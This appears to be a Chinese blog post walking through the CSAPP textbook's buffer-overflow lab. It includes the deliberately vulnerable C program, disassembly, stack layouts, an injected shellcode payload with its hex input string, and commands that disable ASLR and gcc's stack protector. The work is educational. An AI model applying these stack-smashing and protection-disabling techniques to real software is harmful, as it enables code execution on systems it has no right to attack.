2010年11月12日星期五

CSAPP缓冲区溢出实例













CSAPP(深入理解计算机系统),是一本从程序员的角度分析计算机系统组成的书。
今天在做书中的一个习题,有关于缓冲区溢出的,大家应该都听说过88年美国的著名的蠕虫病毒,它用的是figure应用程序的一个缓冲区溢出漏洞,才得以在互联网上大肆传播的,原理一样,但是具体的操作和难度就大不相同了。
我们实验的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
 
/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
    int c;
    int even = 1; /* Have read even number of digits */
    int otherd = 0; /* Other hex digit of pair */
    char *sp = dest;
 
    while ((c = getchar()) != EOF && c != '\n') {
 
 if (isxdigit(c)) {
 
     int val;
     if ('0' <= c && c <= '9')
  val = c - '0';
     else if ('A' <= c && c <= 'F')
  val = c - 'A' + 10;
     else
  val = c - 'a' + 10;
 
     if (even) {
  otherd = val;
  even = 0;
     } else {
  *sp++ = otherd * 16 + val;
  even = 1;
     }
 }
    }
 
 
    *sp++ = '\0';
    return dest;
}
 
/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}
 
void test()
{
    /*
    unsigned int e, a;
    asm("movl %%ebp, %0; movl (%%ebp), %1;"
 :"=r" (e), "=r" (a)
 );
 
    printf("zst ebp:%x, (ebp):%x\n", e, a);
 
    return;
    */
 
    int val;
    printf("Type Hex string:");
    val = getbuf();
    printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
 
int main()
{
 
    int buf[16];
    /* This little hack is an attempt to get the stack to be in a
       stable position
    */
    int offset = (((int) buf) & 0xFFF);
    int *space = (int *) alloca(offset);
    *space = 0; /* So that don't get complaint of unused variable */
 
    test();
    return 0;
}

有写C程序经历的人都看的出来getbuf()提供的用于存放字符串的空间为12字节,但是getxs()或者getbuf()函数并没有对写入字符串的长度作一个限制,C语言不像java,本身也没有这个数组越界检测机制,这就算是程序中的一个缓冲区溢出漏洞,为我们的实验提供了机会。
getbuf()函数按照正常的运行顺序,它的返回值应该一直是1。我们要做的就是向程序输入特定的字符串,导致程序在运行是栈溢出,最后返回0xdeadbeef,而不是1。
网上有很多的将缓冲区溢出的例子,我这里就不详细讲解了,这里说一说两种不同的方法和我遇到的问题。
第一种方法
程序运行时的函数栈结构如下:
(高地址)
++-----------------++ <---进入test函数
++ Return Adresss(main) ++
++-----------------++
++ %ebp ++
++-----------------++
++ int var ++
++-----------------++
++ ....... ++
++-----------------++ <----进入getbuf函数
++ Return Adresss(test) ++
++-----------------++
++ %ebp ++
++-----------------++
++ buf ++
++-----------------++
++ buf ++
++-----------------++
++ buf ++
++-----------------++ <--------buf(从这里开始,向上12个字节的内存)
(低地址)
我们从buf函数的地址开始写入字符串,大家也都知道函数内所有的函数的内部的变量都是存储在栈结构中的,test()函数中的int val;局部变量也是存在栈结构中的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* 
反汇编代码
使用objdump -d 程序 
*/
08048524 <getbuf>:
 8048524: 55                    push   %ebp
 8048525: 89 e5                 mov    %esp,%ebp
 8048527: 83 ec 18              sub    $0x18,%esp
 804852a: 8d 45 f4              lea    -0xc(%ebp),%eax
 804852d: 89 04 24              mov    %eax,(%esp)
 8048530: e8 1f ff ff ff        call   8048454 <getxs>
 8048535: b8 01 00 00 00        mov    $0x1,%eax
 804853a: c9                    leave  
 804853b: c3                    ret    
 
0804853c <test>:
 804853c: 55                    push   %ebp
 804853d: 89 e5                 mov    %esp,%ebp
 804853f: 83 ec 18              sub    $0x18,%esp
 8048542: c7 04 24 90 86 04 08  movl   $0x8048690,(%esp)
 8048549: e8 36 fe ff ff        call   8048384 <printf@plt>
 804854e: e8 d1 ff ff ff        call   8048524 <getbuf>
 8048553: 89 45 fc              mov    %eax,-0x4(%ebp)
 8048556: 8b 45 fc              mov    -0x4(%ebp),%eax
 8048559: 89 44 24 04           mov    %eax,0x4(%esp)
 804855d: c7 04 24 a1 86 04 08  movl   $0x80486a1,(%esp)
 8048564: e8 1b fe ff ff        call   8048384 <printf@plt>
 8048569: c9                    leave  
 804856a: c3                    ret
上面的汇编代码 ,我们可以看到,test函数调用完(call 8048524 )函数之后要执行的下一条指令是
1
8048553: 89 45 fc              mov    %eax,-0x4(%ebp)
就是将函数getbuf的返回值(整数、指针的返回值一般存储在%eax中)存入-0×4(%ebp)中,就是上面栈结构中int val的位置,栈是向地地址增长的,int val;在%ebp的下面,所以这里是减去4。
1
2
3
4
8048556: 8b 45 fc              mov    -0x4(%ebp),%eax
 8048559: 89 44 24 04           mov    %eax,0x4(%esp)
 804855d: c7 04 24 a1 86 04 08  movl   $0x80486a1,(%esp)
 8048564: e8 1b fe ff ff        call   8048384 <printf@plt>
上面的几行代码是对printf函数的调用操作,这里我们要通过栈溢出做的是
1, 直接更改int val的值,int val存储在-0×4(%ebp)
2, 更改getguf函数的返回地址,改掉他原来的返回地址
1
8048553: 89 45 fc              mov    %eax,-0x4(%ebp)
而让%eip直接返回到
1
8048556: 8b 45 fc              mov    -0x4(%ebp),%eax
这句代码执行。这样我们在不改变其他%ebp,直接覆盖val就可以达到让test输出自己想要的值。
这种方法我没有亲自做实验,就说这么多吧,要想理解这些,得需要计算机知识。
第二中方法
这中方法是CSAPP书中提示我们使用的方法,也是我实验中使用的方法。
程序运行时的函数栈结构如下:
(高地址)
++-----------------++ <---进入test函数
++ Return Adresss(main) ++
++-----------------++
++ %ebp ++
++-----------------++
++ int var ++
++-----------------++
++ ....... ++
++-----------------++ <----进入getbuf函数
++ Return Adresss(test) ++
++-----------------++
++ %ebp ++
++-----------------++
++ buf ++
++-----------------++
++ buf ++
++-----------------++
++ buf ++
++-----------------++ <--------buf(从这里开始,向上12个字节的内存)
(低地址)
这种办法是在buf中注入自己想执行的代码,然后想办法让%eip跳转到buf地址执行我们的代码。这里我们改变Return Adresss(test)的值,它的值是test函数中的一个代码的地址,这里我们把它改成buf的地址,当getbuf函数要返回时,它就不是返回到test函数内执行了,而是返回到buf中执行我们注入的代码了。当然,为了不让程序崩溃,我们在buf中的代码出了做自己要作的事情外还要ret到test中正确的代码执行。注意Return Adresss(test)和buf之间的 %ebp 的值是不用更改的。
buf的地址,%ebp的值,Return Adresss(test)的地址我们可以通过GDB来获得。
我们的注入的代码,我是使用objdump这个程序来获得的,自己一个个编太麻烦。
汇编代码如下:
1
2
3
4
5
6
7
8
9
//d.s
 pushl $0x8048553 //Return Adresss(test)的地址,
//因为执行完我们的代码后,要正确的返回test函数中
 movl  $0xdeadbeef,%eax  //int val;的值,
//这句代码是关键,在getbuf中已经将返回值%eax置为1了,
 //这里使用我们注入的代码,将%eax更改成我们要返回的值
 ret        //函数返回指令
 .align 4  //对齐命令
 .long 0xbfffefd8   //正确的%ebp
 .long 0xbfffefac    //buf的地址
 .long 0x00000000
gcc -c d.s 产生d.o文件
然后通过objdump -d d.o获得我们要的机器码
1
2
3
4
5
6
7
8
9
00000000 <.text>:
   0: 68 53 85 04 08        push   $0x8048553
   5: b8 ef be ad de        mov    $0xdeadbeef,%eax
   a: c3                    ret    
   b: 90                    nop    
   c: d8 ef                 fsubr  %st(7),%st
   e: ff                    (bad)  
   f: bf ac ef ff bf        mov    $0xbfffefac,%edi
  14: 00 00                 add    %al,(%eax)
这里我们将
68 53 85 04 08 b8 ef be ad de c3 90 d8 ef ff bf ac ef ff bf 00 00 00 00
输入到程序中就会返回0xdeadbeef这个值了。
注入后的内存结构(小端结构)
(高地址)
++-----------------++ <---进入test函数
++ Return Adresss(main) ++
++-----------------++
++ %ebp ++
++-----------------++
++ int var ++
++-----------------++
++ ....... ++
++-----------------++ <----进入getbuf函数
++ Return Adresss(test)( bf ac ef ff bf) ++//buf地址
++-----------------++
++ %ebp(d8 ef ff bf ac) ++//与原来的值相同
++-----------------++
++ ad de c3 90 ++
++-----------------++
++ 08 b8 ef be ++
++-----------------++
++ 68 53 85 04 ++
++-----------------++ <--------buf(从这里开始,向上12个字节的内存)
(低地址)
运行结构如图:

缓冲区溢出运行结果
接着写我遇到的问题
问题一(gcc的缓冲区防溢出机制)
我的的gcc版本是4.3.3版的,而gcc从4版之后就加入了函数栈防溢出机制。
汇编代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
08048574 <getbuf>:
 8048574: 55                    push   %ebp
 8048575: 89 e5                 mov    %esp,%ebp
 8048577: 83 ec 18              sub    $0x18,%esp
 804857a: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8048580: 89 45 fc              mov    %eax,-0x4(%ebp)
 8048583: 31 c0                 xor    %eax,%eax
 8048585: 8d 45 f0              lea    -0x10(%ebp),%eax
 8048588: 89 04 24              mov    %eax,(%esp)
 804858b: e8 14 ff ff ff        call   80484a4 <getxs>
 8048590: b8 01 00 00 00        mov    $0x1,%eax
 8048595: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048598: 65 33 15 14 00 00 00  xor    %gs:0x14,%edx
 804859f: 74 05                 je     80485a6 <getbuf+0x32>
 80485a1: e8 36 fe ff ff        call   80483dc <__stack_chk_fail@plt>
 80485a6: c9                    leave  
 80485a7: c3                    ret
这里的gcc产生的getbuf函数就上面多了几行代码,如下
1
2
3
4
5
6
7
804857a: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8048580: 89 45 fc              mov    %eax,-0x4(%ebp)
。。。。。。。。。。
 8048595: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048598: 65 33 15 14 00 00 00  xor    %gs:0x14,%edx
 804859f: 74 05                 je     80485a6 <getbuf+0x32>
 80485a1: e8 36 fe ff ff        call   80483dc <__stack_chk_fail@plt>
因为我们每次的溢出操作,都是来覆盖%ebp,和Return Address的值,所以gcc把 %gs:0×14(gs段寄存器)的值写道内存中在,函数退出时,再来检测
xor %gs:0×14,%edx
这个值是否改变了。如果改变了就去执行缓冲区溢出处理函数(__stack_chk_fail),相同的程序每次执行%gs:0×14(gs段寄存器)的值都不相同,所以我们无法提前获得%gs的值,而我们想要溢出覆盖,必须的经过%gs:0×14,这个问题很难搞。
问题二(linux系统提供的防溢出机制)
linux的内存寻址机制是线性寻址,每个进程就想使用了整个内存一样。
CSAPP作者使用的linux,是版本比较旧的。linux上程序每次的运行,进程的虚拟地址都是相同的,就是每次程序的执行
各函数的%ebp,Return Address都是相同的。
而我使用的linux系统比较新潮,提供了一种机制,每次运行时进程的虚拟地址都是随即生成的(我发现,这里的随即数产生的地址也不是那么随即),相同程序每次运行进程的虚拟地址都不同,这也使得我不能提前确定程序的的各种地址信息。
两个问题困扰了我一天,因为我之前没有在书上看到,也不知道有这两种差异,所以做实验老不成功。
解决的方法是,我可耻的将这两种机制都给关闭鸟,哈哈!
echo “0″ > randomize_va_space //关闭虚拟内存地址随即
gcc bufbomb.c -fno-stack-protector -g -o p //关闭gcc函数栈溢出保护
这才得以成功。

没有评论:

发表评论